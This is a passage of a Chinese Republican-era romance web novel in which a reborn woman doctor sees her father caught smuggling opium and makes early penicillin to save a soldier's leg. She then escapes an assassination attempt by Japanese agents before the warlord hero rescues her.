沈志远缩在角落里,腿上的枪伤虽然被草草包扎了,但还在渗血,疼得他龇牙咧嘴:“现在骂我也没用了。陆淮锦的人已经盯上咱们了,那火没放成,反而把咱们最后一点底细给露了。”
“你还敢说!”沈光宗气得想踹他,“要不是你信誓旦旦说陆淮锦不在济世堂,老子会给你钱去买凶?现在好了,钱没了,人也得罪**!”
旁边的王氏哭丧着脸:“老爷,现在说这些有什么用啊?咱们手上没钱了,连这破仓库的租金都交不起了。再这么下去,咱们就要去要饭了!”
“要饭?”沈光宗眼中闪过一丝狠戾,“我沈光宗好歹也是海城有头有脸的人物,绝不能落到那个地步!”
他猛地停下脚步,目光死死盯着脚下的一块活动地板。
“既然陆淮锦不给活路,那咱们就只能铤而走险了。”
沈光宗压低声音,语气森然,“地下室里还压着最后一批货。那是特级的‘云土’,本来是打算留着过冬慢慢出的。现在顾不上了,志远,你联系那个叫田中的日本人。”
“今晚就出货!”
沈志远眼睛一亮:“那批货至少值五万大洋!只要出了手,咱们就有钱了!到时候拿着钱去香港或者南洋,照样吃香喝辣!”
“对!卖了它!有了钱,我看谁还敢瞧不起咱们!”王氏也跟着兴奋起来。
这一家子被贪婪蒙蔽了双眼的人,完全没有意识到,他们正一步步走进早已张开的猎网。
……
深夜,城郊码头。
江风呼啸,黑漆漆的江面上停着一艘不起眼的乌篷船。
几辆黄包车悄无声息地停在了码头边。
沈光宗和沈志远亲自押阵,指挥着几个心腹伙计,从车上搬下几口沉重的木箱子。箱子上伪装成了茶叶,但里面装着的,却是害人不浅的毒物。
“快点!手脚麻利点!”沈光宗紧张地四处张望,手里紧紧攥着一块怀表。
不远处的阴影里,那个叫田中的日本浪人正带着几个手下等着验货。
“沈桑,你的动作太慢了。”田中操着生硬的中文,一脸不耐烦。
“马上好!马上好!”沈光宗赔着笑脸,“田中先生,这次的货成色极好,您验验?”
田中用刺刀撬开一个箱子,挑了一点黑色的膏状物闻了闻,满意地点点头:“哟西。装船!”
眼看着箱子一个个被搬上船,沈光宗和沈志远对视一眼,都看到了彼此眼中的狂喜。
五万大洋,到手了!
然而,就在最后一箱货即将离地的一瞬间。
“啪!啪!啪!”
三颗信号弹骤然升空,将漆黑的江面照得惨白。
紧接着,刺耳的警笛声从四面八方响起。
“不许动!巡捕房!”
“不想死的都抱头蹲下!”
无数手电筒的光束瞬间汇聚在码头上。只见几十名荷枪实弹的巡捕,在宋副官的带领下,从集装箱后、草丛里冲了出来,瞬间包围了现场。
“怎……怎么会……”
沈光宗手里的怀表“当啷”一声掉在地上。
他看着那些突然出现的巡捕,再看看那一箱箱还没来得及运走的烟土,整个人像是被抽去了骨头,瘫软在地。
完了。
人赃并获。
“八嘎!有埋伏!”田中反应极快,拔出枪就想反抗。
“砰!”
宋副官抬手就是一枪,精准地打掉了田中的**。
“在中国的地界上**,还敢动枪?”宋副官冷笑一声,一挥手,“全部带走!一个都别放过!”
沈志远看着那些逼近的巡捕,吓得魂飞魄散,转身就想跳江逃跑。
可惜他那条伤腿根本使不上劲,刚爬上栏杆就被两个巡捕拽了下来,狠狠按在泥地里,脸颊在粗糙的地面上摩擦出血痕。
“放开我!我是冤枉的!都是沈光宗逼我的!”沈志远声嘶力竭地喊道,试图甩锅,“我只是个帮手!我什么都不知道!”
“你个畜生!”沈光宗气得浑身发抖,扑过去就要咬他,“主意是你出的!日本人是你联系的!现在你想独善其身?没门!”
二人当场狗咬狗,扭打在一起,丑态百出。
不远处的一辆黑色轿车里。
车窗半降。
陆淮锦坐在后座,冷眼看着这场闹剧。
“这就是你那所谓的‘家人’?”他转头看向身边的沈晚清。
沈晚清神色淡漠,仿佛在看一场与自己无关的滑稽戏。
“他们不是家人。”
她看着那个曾经高高在上、如今却在泥地里打滚的父亲,眼中没有一丝波澜,“从他们算计我母亲嫁妆的那一刻起,就是仇人。”
“现在,仇报了。”
陆淮锦伸手握住她有些冰凉的手指,掌心的温度传递过去。
“走吧。剩下的事,交给巡捕房。按照海城的律法,走私这么多烟土,够**十回
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了。”
轿车缓缓启动,驶离了喧嚣的码头。
……
次日清晨。
特大新闻再次轰动了海城。
《沈光宗落网!走私特**土案告破!》
街头巷尾,百姓们拍手称快。
“活该!这种**求荣的狗汉奸,早该抓了!”“听说沈家那个大小姐早就跟他们断绝关系了,真是明智啊!”“可不是嘛,要不是沈小姐大义灭亲,这毒瘤还不知道要祸害多少人呢!”
**的风向彻底倒向了沈晚清。她不再是被家族抛弃的可怜虫,而是深明大义、出淤泥而不染的新女性代表。
提篮桥监狱。
沈晚清站在探监室的铁窗外。
里面,沈光宗穿着灰色的囚服,一夜之间仿佛老了十岁,头发全白了。
看到沈晚清,他像是抓住了救命稻草,扑到铁窗前,痛哭流涕:
“晚清!晚清救救爹啊!爹不想死啊!你去求求陆少帅,你是他的救命恩人,他肯定听你的!只要能放我出去,爹以后什么都听你的!”
看着这个曾经威严、如今却卑微如狗的男人,沈晚清只觉得可悲。
“父亲。”
她最后一次叫了这个称呼,声音平静得近乎冷酷,“每个人都要为自己的选择付出代价。当你决定卖掉母亲的花瓶、当你决定贩**土去害人的时候,结局就已经注定了。”
“陆少帅是军人,军法无情。我救不了你,也不想救你。”
“你……你这个不孝女!”沈光宗见求情无望,瞬间变脸,破口大骂,“当初就该把你掐死!你身上流着我的血,你看着我死,你会遭报应的!”
沈晚清转身,留给他一个决绝的背影。
“我的报应会不会来,我不知道。但你的报应,已经到了。”
她走出监狱大门。
阳光刺眼。
她深吸了一口自由的空气。
沈家的阴霾,终于彻底散去。
从今往后,她沈晚清,只为自己而活。
济世堂内。
阿福正在擦拭那块“妙手回春”的牌匾。
“东家回来啦!”
沈晚清点点头,走进后院。
实验室里,亨利医生正对着显微镜兴奋地大叫:
“沈!快来看!你之前培养的那种绿色霉菌,它周围的细菌全部****!这简直是神迹!”
沈晚清眼中精光一闪。
家仇已报,接下来,该是国事了。
陆淮锦的伤需要它,北方的战场更需要它。
“准备提炼。”
沈晚清换上白大褂,神情专注,“这一次,我们要造出真正的‘黄金水’。”
第22章 青霉素初现
济世堂,后院密室。
盛夏的海城闷热潮湿,知了在树上不知疲倦地叫着。但在这间特制的密室里,气温却被严格控制着,几大盆冰块摆在角落里,散发着丝丝凉意。
空气中弥漫着一股奇怪的味道——像是发霉的玉米浆,又混杂着乙酸丁酯的刺鼻气味。
沈晚清穿着白大褂,戴着厚厚的棉纱口罩,正全神贯注地盯着面前的一套玻璃仪器。
这是一套简易但精巧的萃取装置。
在这个年代,没有离心机,没有冷冻干燥机,她只能利用前世的记忆,采用最原始的“溶剂萃取法”。
“酸度调整到pH2了吗?”沈晚清头也不抬地问道。
“调整好了!刚刚好!”
亨利医生手里拿着石蕊试纸,那双湛蓝的眼睛里布满了红血丝,却亮得惊人。这几天,这位洋人院长几乎住在了济世堂,连那个傲慢的英国绅士形象都顾不上了,头发乱得像鸡窝。
“好,加乙酸丁酯,萃取。”
沈晚清的手极稳,将有机溶剂缓缓倒入发酵液中。
随着液体的分层,那一层原本浑浊的培养液中,析出了一层淡淡的金黄色液体。
那就是盘尼西林。
或者说,是未经提纯的青霉素粗提液。
“活性炭吸附。”
“洗脱。”
每一个步骤,沈晚清都做得小心翼翼。这不仅仅是化学实验,更是在与死神抢夺时间的赛跑。
终于,在经过了数十个小时的熬制与提炼后,最后的一点液体被收集进了一个透明的小玻璃瓶里。
大概只有10毫升。
液体呈现出一种迷人的金黄色,在煤油灯的照射下,流淌着如同黄金般的光泽。
“OhmyGod...”亨利看着那瓶液体,双手都在颤抖,像是捧着圣杯,“沈,这就是你说的……能杀死所有细菌的‘黄金水’?”
“理论上是。”
沈晚清摘下口罩,露出一张略显疲惫却难掩兴奋的脸,“但纯度还不够高,杂质很多。如果没有临床试验,谁也不知道它是救命的神药,还是致命的**。”
就在这时。
“嘭!”
密室的门突然被大力撞开。
宋副官满身是血,背着一个人跌跌撞撞地冲了进来,那一向沉稳的脸上此刻满是惊恐与绝望:
“沈小姐!救命!快救救虎子!”
跟在后面的,是脸色阴沉得可怕的陆淮锦。
沈晚清心头一凛,迅速上前:“怎么回事?”
被放在简易手术台上的,是一个年轻的战士,看起来不过二十出头,名叫虎子,是陆淮锦警卫排的排长,也是跟了陆淮锦多年的心腹兄弟。
此时的虎子,已经陷入了深度昏迷。
他的左大腿上有一处早已包扎过的旧伤,但此刻纱布已经被黄绿色的脓液浸透,散发着一股令人作呕的恶臭。
“是气性坏疽!”
亨利只看了一眼,脸色就变了,“伤口感染了产气荚膜梭菌!你看,大腿已经肿胀变色,按压有捻发音。沈,没救了,必须马上截肢!否则毒素攻心,半小时内就会死!”
“截肢?”宋副官红着眼吼道,“虎子才二十岁!他是侦察兵,没了一条腿他还怎么活?!”
“命都要没了还要腿?”亨利急了,“我是医生,我说了算!”
陆淮锦一直没说话。
他看着床上那个为了救他而挡**的兄弟,此时正遭受着高烧和剧痛的折磨,那张年轻的脸已经烧得紫红。
“截。”
陆淮锦闭上眼,吐出一个字,垂在身侧的拳头捏得咯咯作响,“保命要紧。”
“等等。”
沈晚清突然伸手,拦住了准备拿锯子的亨利。
她转身,从实验台上拿起那瓶刚刚提炼出来的“黄金水”。
“还没到截肢的那一步。”沈晚清的声音冷静而坚定,“少帅,敢不敢让我试一种新药?”
“新药?”陆淮锦睁开眼,目光落在她手里那瓶金黄色的液体上。
“这是我和亨利刚刚提炼出来的,针对革兰氏阳性菌——也就是引起气性坏疽的罪魁祸首,理论上有奇效。”沈晚清实话实说,“但这是第一瓶,还没在人身上试过。有风险。”
“用了会死吗?”陆淮锦问。
“可能会过敏休克,也可能……奇迹发生。”
这是一场豪赌。
陆淮锦看着沈晚清那双澄澈的眸子。在这双眼睛里,他看到的不是对名利的渴望,而是对生命的敬畏和对自己医术的绝对自信。
“用。”
陆淮锦沉声道,“出了事,算我的。”
“阿福,准备注射器!”
沈晚清没有丝毫犹豫。她用针筒吸取了那珍贵的金黄色
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液体,然后进行了粗糙的皮试。
十五分钟后,确认没有严重过敏反应。
沈晚清将剩下的药液,分点注射在了虎子大腿伤口的周围,并将一部分静脉推注。
“黄金水”缓缓注入年轻战士的体内。
接下来的每一分钟,都像是煎熬。
亨利在一旁不停地看怀表,嘴里碎碎念着“上帝保佑”。宋副官则死死盯着虎子的脸,大气都不敢喘。
十分钟……二十分钟……一小时……
原本高烧40度、浑身抽搐的虎子,呼吸竟然慢慢平稳了下来。
沈晚清伸手探向他的额头。
“退烧了。”
她长舒一口气,声音里带着一丝不易察觉的颤抖。
亨利不信邪,冲上去检查伤口。
“MyGod!MyGod!”
这位洋医生发出了杀猪般的惊叫,“红肿消退了!脓液停止渗出了!坏死组织被局限了!这是魔法!这绝对是魔法!”
在没有抗生素的年代,气性坏疽几乎是绝症,除了截肢别无他法。可现在,仅仅一瓶药水,就保住了一条腿,救回了一条命!
宋副官“噗通”一声跪在地上,喜极而泣。
陆淮锦站在原地,看着那个在鬼门关前转了一圈又回来的兄弟,又看了看那个正拿着空瓶子记录数据的女人。
他的眼神变了。
如果说之前他对沈晚清是占有欲,那么此刻,他的眼中燃烧起了一种前所未有的、炽热而危险的光芒。
作为统领三十万大军的少帅,他比任何人都清楚这意味着什么。
在战场上,感染是比**更可怕的**。每年因为伤口感染而死的士兵,数以万计。
如果这种药能大量生产……
那他的陆家军,将拥有一支不死的铁军!
这将是改变战争格局的战略资源!
“沈晚清。”
陆淮锦大步走过去,一把抓住她的手腕,力道大得惊人。
“这种药,叫什么名字?”
沈晚清抬起头,迎上他那双仿佛要**的眼睛。她知道,从这一刻起,她手里的筹码,已经不仅仅是医术,而是整个北方的未来。
“盘尼西林。”
沈晚清一字一顿地说道,“或者,你可以叫它——青霉素。”
陆淮锦盯着她,喉结上下滚动,眼底的野心与欲望交织。
第23章 战略资源
济世堂,后院密室。
空气中那股乙酸丁酯的刺鼻味道尚未散去,但此刻,房间里的气氛却比化学试剂还要浓烈。
“这药,我要。你的人,我也要。”
陆淮锦这句话掷地有声,带着一股不容置疑的霸道。他那双深邃的眼眸里,燃烧着一种沈晚清从未见过的火焰——那不仅仅是对女人的占有欲,更是对足以改变天下格局的“力量”的渴望。
沈晚清并没有被他的气势吓退。
她平静地迎上他的目光,伸手将那瓶仅剩的半瓶“黄金水”盖好,然后像护犊子一样攥在手心里。
“少帅,您这算盘打得太响了吧?”
沈晚清嘴角勾起一抹理智的冷笑,“我这青霉素,是用命换来的配方,是能从阎王爷手里抢人的神药。你一句话就要拿走,还要把自己当添头塞给我?这买卖,我怎么算都觉得亏。”
旁边的亨利医生听不懂中文里的弯弯绕绕,但他看懂了两人之间的剑拔**张,吓得大气都不敢喘。宋副官更是识趣地退到了门口,还顺手关上了门。
“亏?”
陆淮锦低笑一声,手指轻轻摩挲着那冰冷的玻璃瓶壁,“沈晚清,你是个聪明人,但你不懂战争。”
他转身,走到窗边,透过缝隙看着外面漆黑的夜色。
“你知道现在黑市上一支进口的‘百浪多息’卖多少钱吗?五块大洋。而且有价无市。”
“而你手里这瓶东西,效果是它的十倍,百倍。”
陆淮锦猛地转过身,眼神如刀锋般锐利,“一旦它的消息传出去,你知道这意味着什么吗?”
“意味着财富。”沈晚清回答。
“错。”
陆淮锦逼近一步,声音压得很低,却透着森然的寒意,“意味着战争。”
“一支青霉素,就能让一个必死的精锐老兵重返战场。一箱青霉素,就能让一个团的战斗力翻倍。如果有足够的量……它能左右一场战役的胜负!”
“在乱世,这种战略资源,比黄金更烫手。它能救命,更能催命。”
陆淮锦看着她,语气变得严肃而残忍,“匹夫无罪,怀璧其罪。沈晚清,你信不信,只要明天消息走漏,后天就会有无数只手伸向济世堂。日本人、英国人、直系军阀……他们会为了这个配方,把你的济世堂拆成碎片,把你……”
他顿了顿,眼神暗了暗,“把你抓进暗无天日的地牢,变成只为他们制药的奴隶。”
房间里一片死寂。
沈晚清沉默了。
她当然知道。她手握这种逆天的“金手指”,面临的风险只会是前世的千倍万倍。
“所以。”
陆淮锦再次开口,这一次,语气里少了几分逼迫,多了几分郑重,“你需要我。”
“只有我陆淮锦的枪杆子,能护得住你,护得住这药。”
“这不仅仅是买卖,是共生。”
沈晚清抬起头,看着眼前这个男人。
他说的没错。
在这个弱肉强食的时代,没有武力保护的技术,就是待宰的羔羊。
“好。”
沈晚清深吸一口气,做出了决定。她将手里的玻璃瓶递到陆淮锦面前。
“我可以把青霉素的优先供应权给陆家军,甚至可以把配方交给你的人去量产。”
陆淮锦眼底闪过一丝喜色,刚要伸手去接。
“但是——”
沈晚清手一缩,躲开了他的手。
“我有三个条件。”
“说。”陆淮锦挑眉。
“第一,青霉素的生产必须由我全权技术指导,药厂要建在北城,但我拥有51%的股权和话语权。我不做你的附庸,我要做你的合伙人。”
“第二,除了军用份额,我要保留两成用于民用,济世堂要救治普通百姓,你不能干涉。”
“第三……”
沈晚清顿了顿,目光变得异常坚定,“无论未来局势如何,这药绝不能卖给日本人。”
陆淮锦看着她。
那个在破庙里瑟瑟发抖的弃妇,那个在百乐门风情万种的舞伴,此刻在他眼里,变成了一个足以与他比肩的战友。
“成交。”
陆淮锦没有丝毫犹豫。他伸出手,这一次,是握手,而不是掠夺。
“沈老板,合作愉快。”
两只手紧紧握在一起。
这一刻,未来那个垄断了整个远东抗生素命脉、左右了无数战局的“医药帝国”,在这间简陋的密室里,正式缔结了盟约。
……
三天后。
纸终究包不住火。
尽管济世堂封锁了消息,但虎子那条原本必断的腿“奇迹复原”的消息,还是像长了翅膀一样,通过各种渠道传了出去。
尤其是亨利医生。虽然他签了保密协议,但他那兴奋若狂的状态和频繁出入济世堂采购化工原料的举动,早就引起了有心人的注意。
海城,虹口日租界。
一间挂着“大东亚商社”牌匾的洋房内。
一个穿着和服、留着仁丹胡的中年男人正跪坐在榻榻米上,手里拿着一份情报。
他是日本黑龙会驻海城的负责人,也是日本商会的会长,佐藤一郎。
“纳尼?”
佐藤眯起眼睛,看着情报上的字,“那个女医生,真的治好了气性坏疽?”
“哈依!”跪在地上的特务汇报道,“我们安插在租界医院的眼线确认了,亨利医生最近在疯狂采购乙酸丁酯和活性炭。而且,陆淮锦的那个警卫排长,昨天已经能下地走路了。”
“不可能……”
佐藤放下情报,眼中闪烁着贪婪而阴毒的光芒,“气性坏疽是大日本皇军最头疼的战地**。如果那个女人真的掌握了某种特效药……”
他站起身,走到墙上那幅巨大的地图前,手指在“海城”的位置狠狠按了一下。
“这种神药,只能属于大日本帝国。”
“去,给那个沈晚清发个帖子。”
佐藤冷笑道,“先礼后兵。告诉她,大日本商会愿意出十万大洋,收购她的济世堂和所有配方。如果她识相,那是她的福气。如果她不识相……”
他做了一个抹脖子的动作。
“那就让她消失。配方,必须拿到手。”
……
济世堂,前堂。
这几天,济世堂的生意好得离谱。但沈晚清却高兴不起来。
因为她发现,这几天来看病的人里,多了很多眼神鬼祟的生面孔。有装病的,有打探消息的,甚至还有趁乱想溜进后院的。
虽然都被赵龙带着丐帮兄弟挡了回去,但那种被狼群盯上的危机感,越来越强烈。
“东家,有人送来这个。”
阿福递过来一张烫金的拜帖,手都在抖,“是……是日本人的。”
沈晚清接过拜帖。
上面用生硬的汉字写
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着:“敬邀沈晚清小姐赴宴,共商医药大计。——大东亚商社佐藤一郎。”
在这行字的下面,还压着一张支票。
汇丰银行,十万大洋。
沈晚清看着那张支票,冷笑一声。
十万大洋?
如果是上辈子的沈晚清,见到这么多钱恐怕会吓死。但现在的她,只觉得可笑。一支青霉素在未来的战场上就是一条命,十万大洋就想买断整个配方?这帮强盗还真是打发叫花子。
“阿福,有火柴吗?”沈晚清问。
“有。”
沈晚清划燃一根火柴,当着满屋子病人的面,将那张拜帖连同支票,直接点燃。
火苗吞噬了纸张,化为灰烬。
“东家!那可是十万大洋啊!”阿福心疼得直跺脚。
“那是卖命钱,更是**钱。”沈晚清拍了拍手上的灰,声音清冷,“去回话,就说济世堂庙小,容不下日本这尊大佛。不去。”
消息传回虹口。
“八嘎!”
佐藤一郎一刀劈碎了面前的茶几,“给脸不要脸的女人!”
“既然她想死,那就成全她!”
“传令‘樱花组’,今晚行动。活要见人,死要见尸!一定要把配方逼问出来!”
……
入夜。
风雨欲来。
陆淮锦因为要处理北上撤离的军事部署,今晚并不在济世堂,只留下了宋副官和一个班的卫兵。
沈晚清正在后院整理行装。
按照计划,明天一早,他们就要登上那列著名的“蓝钢快车”,离开海城,前往北城。
青霉素的菌种已经被小心翼翼地封存在了特殊的保温箱里。
“东家,都收拾好了。”阿福背着大包小包,依依不舍地看着这个生活了多年的小院,“咱们真的要走了吗?”
“嗯。这里已经不安全了。”
沈晚清摸了摸桌上的听诊器。
突然,外面的狗叫声戛然而止。
一种令人毛骨悚然的死寂,瞬间笼罩了整个济世堂。
沈晚清脸色一变。
“赵龙!”她喊了一声。
没有人回应。
平日里守在后门的赵龙和丐帮兄弟,此刻一点动静都没有。
“宋副官!”
也没有回应。
空气中,飘来了一股淡淡的甜香味。
“是迷香!”
沈晚清反应极快,一把捂住口鼻,“阿福,趴下!别呼吸!”
下一秒。
“哗啦——”
后院的四面墙上,十几道黑影如同鬼魅般翻了进来。他们穿着黑色的夜行衣,手里拿着带**的**和**,动作整齐划一,显然是训练有素的**。
正是日本商会的“樱花组”。
“搜!那个女人肯定在里面!”
领头的黑衣人打了个手势。
“嘭!”
厢房的门被一脚踹开。
然而,迎接他们的不是惊慌失措的女人,而是一团白色的迷雾!
“咳咳咳!什么东西?!”
冲在最前面的两个**瞬间捂着眼睛惨叫起来,满地打滚。
“防狼喷雾,加量版辣椒水。”
沈晚清手里拿着一个自制的喷雾罐,从柜子后面闪身而出,另一只手里紧紧握着一把锋利的手术刀。
“想抓我?”
她眼神冰冷,毫无惧色,“那得看你们有没有这个本事!”
战斗,一触即发。
第24章 巷战
原本宁静的医馆,此刻变成了修罗场。
那一团白色的迷雾在空气中炸开,高浓度的辣椒水分子瞬间钻入了冲在最前面的两名日本**的眼睛和鼻腔。
“啊——!我的眼睛!”“八嘎!是毒气!咳咳咳!”
那种火烧火燎的剧痛,让受过严格训练的死士也忍不住在地上打滚,眼泪鼻涕横流,完全丧失了战斗力。
“走!去后巷!”
沈晚清没有丝毫恋战,趁着对方阵脚大乱,一把拉起吓呆了的阿福,向着后门的巷道冲去。
她很清楚,这些小把戏只能阻挡一时。对方是黑龙会的王牌“樱花组”,人数在十人以上,且个个手持利刃。而她这边,只有一把手术刀和一个半大的孩子。
硬拼,必死无疑。
“想跑?没那么容易!”
领头的**虽然也被呛得眼泪直流,但他听声辨位,手中的**猛地挥出。
“咔嚓!”
一张横在路中间的八仙桌被生生劈成两半。
“追!死活不论!”
……
雨夜,深巷。
海城的弄堂错综复杂,像是一张巨大的蛛网。
雨越下越大,冰冷的雨水冲刷着沈晚清的脸庞,却浇不灭她心中的那团火。
“东家……我跑不动了……”阿福气喘吁吁,刚才翻墙时崴了脚,此刻一瘸一拐,拖慢了速度。
身后的脚步声越来越近,如附骨之疽。
“分头走!”沈晚清当机立断,把阿福推进旁边的一个堆满杂物的岔路口,“你躲进那个废弃的鸡窝里,别出声!他们的目标是我!”
“不!东家!我要保护你!”阿福哭着摇头。
“这是命令!”沈晚清厉声喝道,随后猛地推了他一把,自己则故意弄出巨大的声响,向着另一条死胡同跑去。
“在那边!追!”
**们果然被她引开了。
沈晚清跑进了一条狭窄的死巷。这里堆放着济世堂平时熬药剩下的废渣和几坛子备用的高纯度医用酒精。
这是一条绝路,也是她给自己选的战场。
她停下脚步,背靠着湿滑的青砖墙,大口喘息着。
雨水顺着发丝滴落,她的眼神却在黑暗中亮得吓人。
“出来吧。”
她冷冷地开口,手中紧紧握着那把小巧的柳叶刀。
几道黑影无声地落在巷口,堵**唯一的出路。
五个**。
领头的一个身材矮小,眼神阴毒像蛇一样。他看着被逼入绝境的沈晚清,嘴角勾起一抹残忍的笑意:
“沈小姐,跑啊?怎么不跑了?”
他举起还在滴血的**,一步步逼近,“佐藤先生说了,只要你交出配方,还能留你个全尸。否则……”
“否则怎样?”
沈晚清看着他,突然脚尖一挑。
一坛子藏在草堆里的医用酒精被她踢飞,正好砸在领头**的脚下。
“哗啦——”
酒坛碎裂,浓烈的酒精味瞬间弥漫开来。
“动手!”**首领察觉不妙,大吼一声。
但沈晚清比他更快。
她从怀里掏出一根早已划燃的火柴,毫不犹豫地扔向了那滩酒精。
“轰——!!”
蓝色的火焰在雨夜中腾空而起,瞬间形成了一道火墙,将狭窄的巷子隔断。
“啊!火!火!”
冲在最前面的两个**被火焰吞噬,变成了两个火人,惨叫着在地上翻滚。
借着火光的掩护,沈晚清并没有后退,反而像一只猎豹般冲了上去!
她知道,火势在雨中撑不了太久。她必须主动出击。
一名**正忙着拍打身上的火苗,根本没想到这个看似柔弱的女人敢反冲锋。
寒光一闪。
沈晚清手中的柳叶刀,以一个极其刁钻的角度,划过了**的颈动脉。
那是外科医生最熟悉的解剖位置。
快、准、狠。
鲜血喷涌而出,**捂着脖子,瞪大了眼睛,软软地倒了下去。
“八嘎!杀了她!”
领头的首领大怒。他没想到这个女人竟然如此棘手。他挥舞着长刀,劈开火墙,带着剩下的两名**扑了过来。
这一次,是真正的短兵相接。
沈晚清毕竟体力有限,而且没有任何格斗基础,全凭着对人体弱点的了解在死撑。
“铛!”
她用手中的铁皮急救箱挡住了一记劈砍,巨大的冲击力震得她虎口发麻,急救箱被劈飞了出去。
紧接着,一记重踢狠狠踹在她的小腹上。
“唔……”
沈晚清闷哼一声,整个人重重地撞在墙上,五脏六腑仿佛都移了位。
还没等她站稳,冰冷的刀锋已经架在了她的脖子上。
“再动一下,就把你的手筋脚筋挑断!”首领恶狠狠地说道,刀刃划破了她白皙的颈部皮肤,渗出一丝血线。
雨,越下越大。
巷子里的火渐渐熄灭了。
沈晚清靠在墙上,浑身湿透,狼狈不堪,但那双眼睛依然倔强地盯着面前的**。
手里那把手术刀,依然死死攥着,没有松开分毫。
“沈小姐,结束了。”
首领狞笑着,举起了手中的刀,“既然你不肯交出配方,那就去地狱里守着你的秘密吧!”
长刀挥下。
沈晚清绝望地闭上了眼睛。
陆淮锦……
这笔诊金,怕是收不回……
“砰——!!!”
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>一声巨响,不是**,而是重物撞击血肉的声音。
预想中的疼痛并没有到来。
沈晚清猛地睁开眼。
只见那个举刀要杀她的首领,此刻整个脑袋像个烂西瓜一样炸开了,身体向后飞出三米远,重重地砸在墙上,滑落下来。
而在巷口。
一匹通体漆黑的高头大马,正喷着响鼻,踏碎了雨幕,如同从地狱冲出的魔兽。
马上坐着一个男人。
他没有打伞,黑色的军用大衣被雨水浸透,紧紧贴在身上,勾勒出他宽阔的肩膀和充满爆发力的肌肉线条。
他单手勒着缰绳,马蹄高高扬起,几乎要踏在那些**的脸上。
另一只手,平举着那把标志性的勃朗宁虎头枪。
枪口还在冒着青烟。
“陆……陆淮锦?”
沈晚清看着那个如天神降临般的身影,喃喃出声。
陆淮锦没有说话。
他的脸色阴沉得可怕,那是沈晚清从未见过的暴怒。就像是自己的领地被侵犯、自己的珍宝被觊觎的雄狮。
剩下的两名**看到同伴惨死,吓得魂飞魄散,转身就想翻墙逃跑。
“想跑?”
陆淮锦冷笑一声,那是来自地狱的审判。
“砰!砰!”
两声枪响,间隔不到半秒。
两名已经爬上墙头的**,眉心正中瞬间多了一个血洞,像两只断了线的风筝,直挺挺地栽了下来。
百发百中。
枪枪爆头。
这才是“满洲之虎”真正的实力。
巷子里重新恢复了死寂,只剩下雨声和马蹄踩在青石板上的“哒哒”声。
陆淮锦收起枪,翻身下马。
他大步走到沈晚清面前。
看着她浑身湿透、发丝凌乱,脖子上还有一道刺目的血痕,陆淮锦的心脏像是被一只无形的大手狠狠攥住,第一次感到了一种名为“后怕”的情绪。
如果他晚来一步……
如果不也是他因为心神不宁,违抗了军令连夜骑马赶回来……
后果他根本不敢想。
“谁伤的?”
他的手指轻轻抚过她颈侧的伤口,声音沙哑得厉害,眼底翻涌着毁天灭地的杀意。
沈晚清看着他,一直紧绷的那根弦终于断了。
她松开了手里一直紧握的手术刀,“当啷”一声掉在地上。
“陆淮锦……”
她声音哽咽,下一秒,整个人脱力地向前倒去。
陆淮锦一把接住她,将她死死地按进自己的怀里,力道大得像是要把她揉进骨血里。
“我在。”
他在她耳边低吼,声音里带着颤抖,“别怕,晚晚,我在。”
“谁动了你,我要他全家陪葬!”
第25章 那一枪的风情
雨,依旧下得狂暴。
狭窄阴暗的死巷里,混合着泥水、酒精和鲜血的味道。
两具尸体横陈在墙头下,眉心的弹孔还在汩汩冒着血。而那个刚才还如杀神般连开两枪的男人,此刻正单膝跪在泥水里,用那双握惯了枪、**如麻的手,颤抖着捧起沈晚清的脸。
“别动……让我看看。”
陆淮锦的声音沙哑得厉害,像是被砂纸狠狠磨过。他顾不上自己那件昂贵的军用大衣被泥水浸透,只是一遍又一遍地检查着沈晚清脖颈上的那道血痕。
那是刚才**手首领划破的。
伤口不深,但在雪白的肌肤上显得触目惊心。
陆淮锦盯着那道红痕,眼底的赤红久久未退。那一刻,沈晚清分明感觉到了他身上那股尚未平息的、仿佛要毁天灭地的暴戾之气。
这是她第一次见到失控的陆淮锦。
前世传闻中,这位少帅泰山崩于前而色不变,哪怕是被敌军包围也能谈笑风生。可现在,仅仅是因为她受了一点皮外伤,他的手竟然在抖。
“我没事,只是皮外伤……”
沈晚清想要抬手安抚他,却发现自己的手也在抖——那是劫后余生的本能反应。
“没事?”
陆淮锦猛地抬起头,那双深邃的眸子里,交织着愤怒、自责,还有一种令沈晚清心悸的深情。
“如果我晚来半步……哪怕只晚半步……”
他没有把话说完。
他只是猛地低下头,狠狠地吻上了她的唇。
这个吻没有任何技巧,甚至可以说是粗暴的。带着雨水的冰冷,血腥的铁锈味,还有一种失而复得的疯狂。他像是要确认她的存在,确认她还是温热的,确认她还属于这个人间。
沈晚清愣了一下,随即闭上眼,双手环住他湿透的脖颈,在这个充满死亡气息的雨夜里,热烈地回应着他。
这是独属于乱世的浪漫。
没有鲜花,没有红酒,只有刚刚散去的硝烟,和两颗在生死边缘剧烈碰撞的心脏。
良久,陆淮锦才松开她,额头抵着她的额头,呼吸急促。
“沈晚清,你赢了。”
他低声呢喃,语气里带着一丝认命的妥协,“这辈子,我陆淮锦算是栽在你手里了。”
就在这时,巷口传来了急促的马蹄声和脚步声。
“少帅!沈小姐!”
宋副官带着一队卫兵终于赶到了。当他们看到地上的尸体,还有那一地狼藉的惨状时,所有人都倒吸了一口冷气。
尤其是看到自家少帅那副浑身湿透、满眼杀气的模样,卫兵们吓得大气都不敢喘。
“少帅,属下来迟!请责罚!”宋副官单膝跪地,一脸愧疚。
陆淮锦缓缓站起身,将沈晚清护在身后,恢复了往日那种冷酷的模样。
“清理干净。”
他冷冷地扫了一眼地上的尸体,“剁碎了喂狗。别脏了这里的地。”
“是!”
“还有。”陆淮锦指了指巷口那匹还在喷着响鼻的黑马,“这匹马,以后归沈小姐。”
说完,他在众目睽睽之下,一把将沈晚清打横抱起。
“少帅,我自己能走……”沈晚清有些不好意思,毕竟这么多手下看着。
“闭嘴。”
陆淮锦霸道地打断她,手臂收紧,“你的鞋跟断了。”
沈晚清低头一看,果然,那双高跟鞋的鞋跟早在刚才的搏斗中不知去向。
陆淮锦走到那匹黑马前,先将沈晚清稳稳地放在马背上,然后自己翻身上马,坐在她身后,宽阔的胸膛紧紧贴着她的后背,双手环过她的腰,握住缰绳。
“坐稳了。”
他在她耳边低语,“带你回家。”
“驾!”
黑马嘶鸣一声,扬起四蹄,冲破雨幕。
沈晚清靠在陆淮锦怀里,听着耳边呼啸的风声和雨声。
她回头看了一眼。
在那条阴暗的巷弄里,卫兵们正在处理尸体,洗刷血迹。那场惊心动魄的刺杀,仿佛从未发生过。
但她知道,一切都变了。
